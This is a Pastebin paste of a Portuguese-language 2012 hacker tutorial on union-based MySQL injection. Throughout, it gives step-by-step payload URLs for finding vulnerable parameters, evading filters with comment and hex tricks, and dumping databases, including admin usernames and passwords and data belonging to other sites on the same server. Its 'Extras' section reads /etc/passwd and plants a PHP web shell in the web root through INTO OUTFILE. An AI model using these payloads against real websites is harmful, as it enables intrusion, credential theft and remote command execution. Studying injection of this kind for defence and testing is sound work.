Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Encode: UTF-8
- _,.-------.,_
- ,;~' '~;,
- ,; ;,
- ; ;
- ,' ',
- ,; ;,
- ; ; . . ; ;
- | ; ______ ______ ; |
- | `/~" ~" . "~ "~\' |
- | ~ ,-~~~^~, | ,~^~~~-, ~ |
- | | }:{ | |
- | l / | \ ! |
- .~ (__,.--" .^. "--.,__) ~.
- | ---;' / | \ `;--- |
- \__. \/^\/ .__/
- V| \ / |V
- | |T~\___!___!___/~T| |
- | |`IIII_I_I_I_IIII'| |
- | \,III I I I III,/ |
- \ `~~~~~~~~~~' /
- \ . . /
- \. ^ ./
- ^~~~^~~~^
- - MySQL Injection Simples -
- - Maio de 2012 -
- Greatz for L1sbeth and P0cl4bs Team.
- https://github.com/P0cL4bs
- |=[ Indice ]=--------------------------------------------------------------------=|
- | 0x01 - Introdução..........................................do que falaremos aqui|
- | 0x02 - Iniciando ataque.......................................................go|
- | 0x03 - Capturando informações..................qualquer informação pode ser útil|
- | 0x04 - Passando pelos filtros...............maneiras de se burlar alguns filtros|
- | 0x05 - Dumpando...............................................................=)|
- | 0x06 - Extras.............................................algumas funções extras|
- | 0x0a - Fim............................................................hora de ir|
- | 0x0b - Links..........................................Links para os interessados|
- |=-------------------------------------------------------------------------------=|
- |=[ 0x01 - Introdução ]=---------------------------------------------------------=|
- Olá, neste texto estarei exemplificando como seria um ataque de MySQL Injection
- simples, vou procurar ser o mais "direto ao ponto" possível, espero que isto sirva
- de ajuda para alguém...
- Apesar de isso de SQL injection ter de sobra na internet, achei que seria legal
- escrever sobre também, talvez você encontre algo útil aqui =)
- |=[ 0x02 - Iniciando ataque ]=---------------------------------------------------=|
- Antes de de tudo, veremos qual o nosso vetor de ataque, digo, o que tenhamos que
- fazer, o processo a ser realizadao, no nosso caso seria:
- 0x02a - Verificar se o site é vulnerável
- 0x02b - Verificar o numero de colunas
- 0x02c - Vendo para onde vão os dados
- 0x02a - Primeiramente, verificamos se o site é vulnerável, para isso basta colocar
- uma aspa simples do final da URL, ficando assim:
- categoria.php?id=9'
- Se o site estiver provavelmente vulnerável, será retornado algum tipo de erro,
- tal como:
- Cannot get new's products. You have an error in your SQL syntax; check the manual
- that corresponds to your MySQL server version for the right syntax to use near '\'
- and lingua = 'En'' at line 3
- ou algo como:
- Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource
- in /home/site01/www/categoria.php on line 8
- 0x02b - Assim que achar o site supostamente vulnerável, vamos ter que verificar o
- número de colunas existentes na tabela atual, para isso façamos:
- categoria.php?id=9 order by 1--+ <-- não deu erro na página.
- categoria.php?id=9 order by 2--+ <-- não deu erro na página.
- categoria.php?id=9 order by 3--+ <-- não deu erro na página.
- categoria.php?id=9 order by 4--+ <-- não deu erro na página.
- categoria.php?id=9 order by 5--+ <-- não deu erro na página.
- categoria.php?id=9 order by 6--+ <-- não deu erro na página.
- categoria.php?id=9 order by 7--+ <-- deu erro aqui!
- Cannot get new's products. Unknown column '7' in 'order clause'
- O erro diz que a coluna '7' nao existe, ou seja, existem apenas as colunas de 1 a
- 6.
- |=[ 0x02 - Iniciando ataque ]=---------------------------------------------------=|
- 0x02c - Agora tenhos que saber para onde vao os dados, digo, para que possamos
- visualizar os dados na página do site, para isso teremos fazeremos o uso do
- "UNION", que serve para unir tudo, ficando:
- categoria.php?id=-9 UNION ALL SELECT 1,2,3,4,5,6--+
- Fazendo com que seja impresso na tela um número correspondente ao número das colunas,
- usaremos desse número de saida para onde enviaremos os dados que queremos obter.
- Observe também que negativamos o valor(id=-9) para que o conteúdo não seja retornado
- e colocamos sempre um "--+" no final da URl para que o conteúdo restante da query nao
- seja executado.
- Obs: no id podemos tanto negativarmos o valor quanto podemos também usar o NULL,
- ficando assim:
- categoria.php?id=NULL UNION ALL SELECT 1,2,3,4,5,6--+
- |=[ 0x03 - Capturando informações ]=---------------------------------------------=|
- Ao utilizarmos o "UNION" para ver pra onde vão nossos dados, digamos que o número
- 3 foi impresso na página, então utilizaremos dele para que possamos visualizar os
- dados trazidos do banco de dado, ficando assim:
- categoria.php?id=NULL UNION ALL SELECT 1,2,version(),4,5,6--+
- Será impresso na tela a versão do banco de dados atual no lugar onde o número 3
- tinha cido impresso, no meu caso foi retornado:
- 5.1.52-community
- Para obter vários dados em apenas um campo, usaremos o concat(), ficando assim:
- categoria.php?id=NULL UNION ALL SELECT 1,2,concat(version(),0x3d,user()),4,5,6--+
- E tendo como saída:
- 5.1.52-community=root@localhost
- Onde:
- version() = retorna a versão do MySQL, no caso "5.1.52-community"
- 0x3d = caracter de igualdade ta tabela ASCII, sendo ele "="
- user() = retorna o nome do usuario atual do banco de dados seguido do host, no
- caso "root@localhost"
- Abaixo segue uma lista das funções do MySQL para obter informações mais detalhadas
- e que seriam de grande ajuda em um ataque mais sério por assim dizer:
- version() : Versão do MySQL
- @@version : Versão do MySQL
- @@tmpdit : Diretório temporário
- @@datadir : Diretório de alguns arquivos que são de uso do MySQL
- @@basedir : Diretírio base
- database() : Nome do banco de dados atual
- now() : Horário
- user() : Usuário
- current_user() : Usuário
- system_user() : Usuário
- session_user() : Usuário
- concat() : Concatenação
- group_concat() : Concatenar todo o grupo(mais a frente faremos o uso do mesmo)
- concat_ws() : Contatena com separação
- |=[ 0x04 - Passando pelos filtros ]=---------------------------------------------=|
- Algumas maneiras de se passar pelos filtros, são por exemplo:
- * Substituir os espaços por /**/ ou pelo operador de adição "+" ficando assim:
- categoria.php?id=-NULL/**/UNION/**/ALL/**/SELECT/**/1,2,concat(user()),4,5,6--+
- categoria.php?id=-NULL+UNION+ALL+SELECT+1,2,concat(user()),4,5,6--+
- * Substituir os números das colunas que estão em decimal, por hexadecimal, ficando:
- categoria.php?id=-NULL/**/UNION/**/ALL/**/SELECT/**/0x31,0x32,concat(user()),0x34,0x35,0x36--+
- Onde os valores:
- 0x31 = 1
- 0x32 = 2
- 0x34 = 4
- 0x35 = 5
- 0x36 = 6
- * Substituir as strings, como nome das tabelas, campos, banco de dados por strings
- em hexadecimal, como veremos mais a diante com exemplos práticos...
- |=[ 0x05 - Dumpando ]=-----------------------------------------------------------=|
- Primeiramente temos que tem em mente, quais seram as informações que vamos nescessitar
- para até que conseguimos obter o que nos interessa, que é o login de administração...
- Temos que ter em mãos entao:
- * Todas as base de dados do servidor
- * Tabelas que nos interessa
- * Campos dessas tabelas
- * Dados dos campos(login, senha...)
- Para obtermos todas as base de dados de um servidor, faremos:
- categoria.php?id=-NULL/**/UNION/**/ALL/**/SELECT/**/0x31,0x32,group_concat(schema_name),0x34,0x35,0x36/**/from/**/information_schema.schemata--+
- Lembrando que estamos usando sempre o /**/ no lugar dos espaços, fizemos aqui o
- uso do group_concat para concatenar todas as base de dados de uma vez, observe que
- colocamos o schema_name que será onde os dados serao impressos por assim dizer, para que
- possamos visualizar o conteudo, colocamos dentro do group_concat que está na coluna 3
- assim obtemos todas as base de dados do servidor, podemos também visualizar uma a
- uma fazendo o uso do limit, ficando assim:
- categoria.php?id=-NULL/**/UNION/**/ALL/**/SELECT/**/0x31,0x32,concat(schema_name),0x34,0x35,0x36/**/from/**/information_schema.schemata/**/limit/**/0,1--+
- E vamos alterando o valor do limit, onde esta 0,1 para 1,1 depois 2,1 e assim
- sucessivamente, até chegarmos no final. Observe que desta vez usamos o concat e não
- o group_concat, se fizermos o uso do group_concat não se tem nescessidade de usar
- o limit.
- Agora tenhamos que pegar os nomes das tabelas das base de dados que nos interessa
- digamos que estavamos dumpando o site, e vimos que no mesmo banco de dados tem mais
- algumas base de dados que são de outros sites, só que no outro site não conseguimos
- dumpar mas atravez do site vuln que achamos podemos dumpar o banco de dados do outro
- site, suponhamos que a base de dados do outro site chama-se "db_blog01" e a do nosso
- site que estamos dumpando chama-se "db_blog02", lembrando que para pegar o nome do
- database atual basta usarmos a função database(), ok, vamos então dumpar o "db_blog01"
- que se refere ao banco de dados do outro site, para visualizarmos as tabelas fassamos:
- categoria.php?id=-NULL/**/UNION/**/ALL/**/SELECT/**/0x31,0x32,group_concat(table_name),0x34,0x35,0x36/**/from/**/information_schema.tables/**/where/**/table_schema=0x64625f626c6f673031--+
- Para ficar mais claro, vamos analizar...
- 0x64625f626c6f673031 : o nome da base de dados em hexadecimal, no caso "db_blog01".
- Observe que desta vez fizemos o uso do table_name, para visualizarmos as tabelas da
- base de dados atual basta substituir o nome da base de dados em hexadecimal pelo
- nome do nosso database ou usarmos a função database() no lugar do mesmo, ficando:
- categoria.php?id=-NULL/**/UNION/**/ALL/**/SELECT/**/0x31,0x32,group_concat(table_name),0x34,0x35,0x36/**/from/**/information_schema.tables/**/where/**/table_schema=database()--+
- Observe também que do mesmo modo que fizemos o uso do limit para obter as base de
- dados, podemos fazer o uso do mesmo para visualizar as tabelas, bastando coloca-lo
- no final da URL e mudando o group_concat() por concat() e ir manipulando o limit
- alterando seus valores de 0,1 para 1,1 e assim sucessivamente, ficando assim:
- categoria.php?id=-NULL/**/UNION/**/ALL/**/SELECT/**/0x31,0x32,concat(table_name),0x34,0x35,0x36/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1--+
- A essa altura, já temos em mãos todas as base de dados existentes e os nomes das
- tabelas das base de dados que nos interessa(que quisermos dumpar), vamos agora
- então visualizar os campos das tabelas que nos interessa, no nosso caso sendo ela a
- tabela "admin" do database atual, ficando:
- categoria.php?id=-NULL/**/UNION/**/ALL/**/SELECT/**/0x31,0x32,group_concat(column_name),0x34,0x35,0x36/**/from/**/information_schema.columns/**/where/**/table_name=0x61646d696e/**/and/**/table_schema=database()--+
- Para ficar mais claro, vamos analizar...
- 0x61646d696e : Nome da nossa tabela em hexadecimal, no caso "admin"
- Para visualizar os campos de uma tabela de outra base de dados, basta por também
- o nome da outra tabela, e em database() poe o nome da base de dados correspondente
- em hexadecimal, suponhamos que na outra base de dados também tenha uma tabela chamada
- "admin" e o nome da base de dados seria "db_blog01" que em hex fica "0x64625f626c6f673031"
- ficando então assim:
- categoria.php?id=-NULL/**/UNION/**/ALL/**/SELECT/**/0x31,0x32,group_concat(column_name),0x34,0x35,0x36/**/from/**/information_schema.columns/**/where/**/table_name=0x61646d696e/**/and/**/table_schema=0x64625f626c6f673031--+
- Agora vamos obter os dados dos campos da tabela dumpada, suponhamos que de retorno
- tivemos que a tabela "admin" tem os campos "usuario" e "senha" e queremos ver os
- dados desses campos, antes de continuar tenhamos que ter em mãos os seguintes dados:
- * Nome da dase de dados
- * Tabela desejada
- * Campos dessa tabela
- Para obter o nome da base de dados, como ja foi mencionado acima, basta usar a
- função database(), ficando assim:
- categoria.php?id=-NULL/**/UNION/**/ALL/**/SELECT/**/0x31,0x32,concat(database()),0x34,0x35,0x36--+
- Então vamos rever, o que temos em mãos são:
- Base de dados : db_blog02
- Tabela: admin
- Campos: usuario,senha
- Fazemos agora:
- categoria.php?id=-NULL/**/UNION/**/ALL/**/SELECT/**/0x31,0x32,concat_ws(0x3a,usuario,senha),0x34,0x35,0x36/**/from/**/db_blog02.admin--+
- Fazendo com que os dados dos campos usuario e senha sejam impressos na página do
- site. Observe que desta vez fizemos o uso do concat_ws seguido do 0x3a que corres-
- ponde ao caracter ":", ficando assim mais organizado...
- |=[ 0x06 - Extras ]=-------------------------------------------------------------=|
- Algumas funções do MySQL que também são boas e podem servir também para passar
- pelos filtros:
- UNHEX(HEX('string')), exemplo pegando o nome da base de dados usando o concat(),
- unhex() e hex():
- categoria.php?id=-NULL/**/UNION/**/ALL/**/SELECT/**/0x31,0x32,concat(UNHEX(HEX(database()))),0x34,0x35,0x36--+
- Podemos também utilizar o file_load() para carregar arquivos do sistem... ex:
- categoria.php?id=-NULL/**/UNION/**/ALL/**/SELECT/**/0x31,0x32,file_load('/etc/passwd'),0x34,0x35,0x36--+
- Podemos tambem criar uma cmd dentro do site utilizando o INTO OUTFILE, fazendo:
- union+select+'< ? system($REQUEST['command']); ?>' into outfile '/home/site01/www/cmd.php'--
- Dentre muitas outras funções...
- |=[ 0x0a - Fim ]=-==-------------------------------------------------------------=|
- Bom, vou ficando por aqui, esse é um paper bem básico, é claro que existem vários
- outros métodos de se fazer bypass etc, mas espero que algum dia seja de serventia
- para alguem interessado...
- Agradeço muito a meus amigos e a todos que me ajudam, e é claro, agradeço muito a
- você que está lendo isso aqui ;)
- Bom, hora de ir, espero que tenha gostado, até a próxima!
- |=[ 0x0b - Links ]=--------------------------------------------------------------=|
- Segue abaixo alguns links que podem servir de ajuda, como tabelas ancii, conversor
- de string de hex pra string e vice-versa...
- http://www.asciitable.com/
- http://www.string-functions.com/string-hex.aspx
- http://www.string-functions.com/hex-string.aspx
- http://dev.mysql.com/doc/refman/5.5/en/string-functions.html
- Visitem ae: http://constantine.sourceforge.net/
- |=[ EOF - Até a próxima ]=-------------------------------------------------------=|
Advertisement
Add Comment
Please, Sign In to add comment